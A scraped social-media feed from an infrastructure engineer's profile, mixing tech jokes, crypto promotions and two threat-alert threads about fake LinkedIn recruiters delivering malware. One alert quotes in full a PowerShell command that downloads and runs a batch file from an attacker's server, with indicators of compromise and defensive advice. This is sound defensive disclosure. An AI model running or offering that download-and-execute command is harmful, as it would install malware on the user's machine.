Lele - eldios

- Head of Infra @linera_io
- Blockchain Cultist - Crypto enthusiast
- Remote Sr. DevOps/SRE/Platform/Cloud Eng

All opinions shared here are my own.

[Lele - eldios @eldios]

Waaat?!? we haven't even started seriously deploying IPv6 to a meaningful adoption and we already got IPv8 now?!? crrrrrazy! (interesting though, give it a read) https://t.co/6W4gTuHDdu

[Lele - eldios @eldios]

yeeeeee!!! Kernel 7.0 finally hit mainline!!! :D <3 https://t.co/PDDsIbA8D5

[Indigo @UncleIndigo]

Someone just lost $50.4M on a DeFi swap.
The platform warned them.
They clicked confirm anyway.
The transaction was marked ✅ SUCCESS.
This is the most important DeFi story of 2026. Here's everything that happened. 🧵

[Lele - eldios @eldios]

@claudeai is down, so I had this revolutionary idea:

engineers ACTUALLY write code themselves 🤯🤯🤯

I call it: "brain coding"

Of course the resulting code won't be as good initially... but over time, with training and memory, it'll be amazing.

#braincoding FTW

[grace @0xgrace]

> return flight to nyc gets canceled by snowstorm
> call united
> immediately connected with customer service (rare)
> voice is uncanny, def AI but they gave it a human-like accent
> takes ~20 min to get rebooked (pretty good imo)
> I ask if it's AI
> "haha no ma'am but I get that a lot"
> I ask it to calculate 228*6647
> it runs the calculation
> ggs

[Lele - eldios @eldios]

I just claimed my piece of the internet🛜
Hotspot onboarded, location secured.
7 years of rewards ahead with @DabbaNetwork LFG!!!

[Lele - eldios @eldios]

Now this is the real #DePin I'm talking about ... Super interesting project, @DabbaNetwork keep up the great work!

[Lele - eldios @eldios]

https://t.co/kxsTlD9jhB

Soon (~4 months) we'll say "bye forever" to #nginx #kubernetes ingress.. this is BAD news and I'm sure will ruin the upcoming weekends/months of many #devops .. sorry to be the bearer of such bad news 😬 enjoy the migration! 🤦‍♂️ ☠️

[Lele - eldios @eldios]

6/6 I hope you've found this thread helpful.

Follow me @eldios for more.

Like/Repost the quote below if you can:

[Lele - eldios @eldios]

1/6 🚨 SECURITY ALERT: LinkedIn Fake Recruiter Malware Campaign 🚨

Got hit (again) with a sophisticated malware delivery attempt via LinkedIn today. Sharing so nobody becomes exhibit B.

The (usual) Attack Flow

1. Initial Contact: Fake recruiter "Anzhelika Anpolska" (https://t.co/cdwEP19JWK) - profile looks legit enough to pass a 5-second glance
2. Social Engineering: Standard recruitment playbook with artificial urgency (because top talent is definitely recruited via cold LinkedIn DMs asking you to run
random code)
3. Malicious Repository: https://t.co/MhxlL38Eha
4. The Trap: "Please review this code" - except it's heavily obfuscated JavaScript that no legitimate company would ever send

The Payload

Found the malicious code in ps.config.js - and by "found" I mean "immediately recognized because legitimate code doesn't look like this."

Technical Analysis:

[Lele - eldios @eldios]

1/6 🚨 SECURITY ALERT: LinkedIn Fake Recruiter Malware Campaign 🚨

Got hit (again) with a sophisticated malware delivery attempt via LinkedIn today. Sharing so nobody becomes exhibit B.

The (usual) Attack Flow

1. Initial Contact: Fake recruiter "Anzhelika Anpolska" (https://t.co/cdwEP19JWK) - profile looks legit enough to pass a 5-second glance
2. Social Engineering: Standard recruitment playbook with artificial urgency (because top talent is definitely recruited via cold LinkedIn DMs asking you to run
random code)
3. Malicious Repository: https://t.co/MhxlL38Eha
4. The Trap: "Please review this code" - except it's heavily obfuscated JavaScript that no legitimate company would ever send

The Payload

Found the malicious code in ps.config.js - and by "found" I mean "immediately recognized because legitimate code doesn't look like this."

Technical Analysis:

[Lele - eldios @eldios]

5/6 Responsible Disclosure: Reported to LinkedIn (not holding my breath). Sharing publicly because apparently we need to keep saying this.

Stay paranoid, friends.

#CyberSecurity #PhishingAlert #InfoSec #LinkedInScam #MalwareAlert #DevOps #SRE #PlatformEngineering #DeveloperSecurity #ThreatIntelligence

[alldomains.id 🧬 @alldomains_]

🔔 Set your reminders - Tomorrow 15:00 UTC

The $ADNS presale will be in $SOL ONLY so make sure you're ready

0.000014 $SOL for whitelist
0.000017 $SOL for public

[Switchboard Foundation Group ⚡ @SwitchboardFDN]

Check your SWTCH.

Claims open at 12:00 UTC.

Claims close in 30 days.

https://t.co/6OqILTko1V

[Michael Saylor @saylor]

Strategy has acquired 1,955 BTC for ~$217.4 million at ~$111,196 per bitcoin and has achieved BTC Yield of 25.8% YTD 2025. As of 9/7/2025, we hodl 638,460 $BTC acquired for ~$47.17 billion at ~$73,880 per bitcoin. $MSTR $STRC $STRK $STRF $STRD https://t.co/QNIuAWRwEW

[Lele - eldios @eldios]

🚨 SECURITY ALERT: LinkedIn Crypto Recruitment Scam 🚨
Received a sophisticated phishing attempt today via LinkedIn - sharing to protect our community.

Attack Flow
1. Initial Message: From https://t.co/hRLpiEppFI offering "confidential Coinbase EU leadership role", probably compromised account or fake recruiter

2. Malicious Sites:
https://t.co/62hBVlv3vU - Fake job documents
https://t.co/0qlJ92zRSJ - Fake Cloudflare verification

3. The Trap: Instructs to press Win+R and paste PowerShell command

The Payload
Downloads malware from https://t.co/tPWYCi2q7Q.228:5504:
```PowerShell
powershell -c "Invoke-WebRequest -Uri 'https://t.co/tPWYCi2q7Q.228:5504/a.bat' -OutFile "%temp%\a.bat" -UseBasicParsing; Start-Process "%temp%\a.bat""
```

The batch file:
- Hides execution
- Downloads 9 files including Dev-Cobalt.exe (likely Cobalt Strike)
- Executes malware
- Deletes traces
- Files: Dev-Cobalt.exe, Focus.dll, HardwareLib.dll, Naebpesdog.dsw, rtl120.bpl, Temperature.dll, vcl120.bpl, webres.dll, Zangraedshoong.nx

Red Flags
🔴 Unsolicited "confidential" crypto offers
🔴 Non-official domains (.pages.dev vs https://t.co/ayF9lGFPvc)
🔴 ANY request to run Windows commands
🔴 Cloudflare never asks for PowerShell commands!

Protection
- NEVER paste unknown commands into Windows Run
- Verify recruiter profiles
- Check official company domains
- Report suspicious messages immediately

IoCs
- C2: http://84.21.189.228:5504
- Malicious domains listed above
- Primary payload: Dev-Cobalt.exe
- Stay vigilant! Sophistication is increasing.

CyberSecurity #PhishingAlert #InfoSec #LinkedInScam #CryptoSecurity #DevOps #SRE #MalwareAlert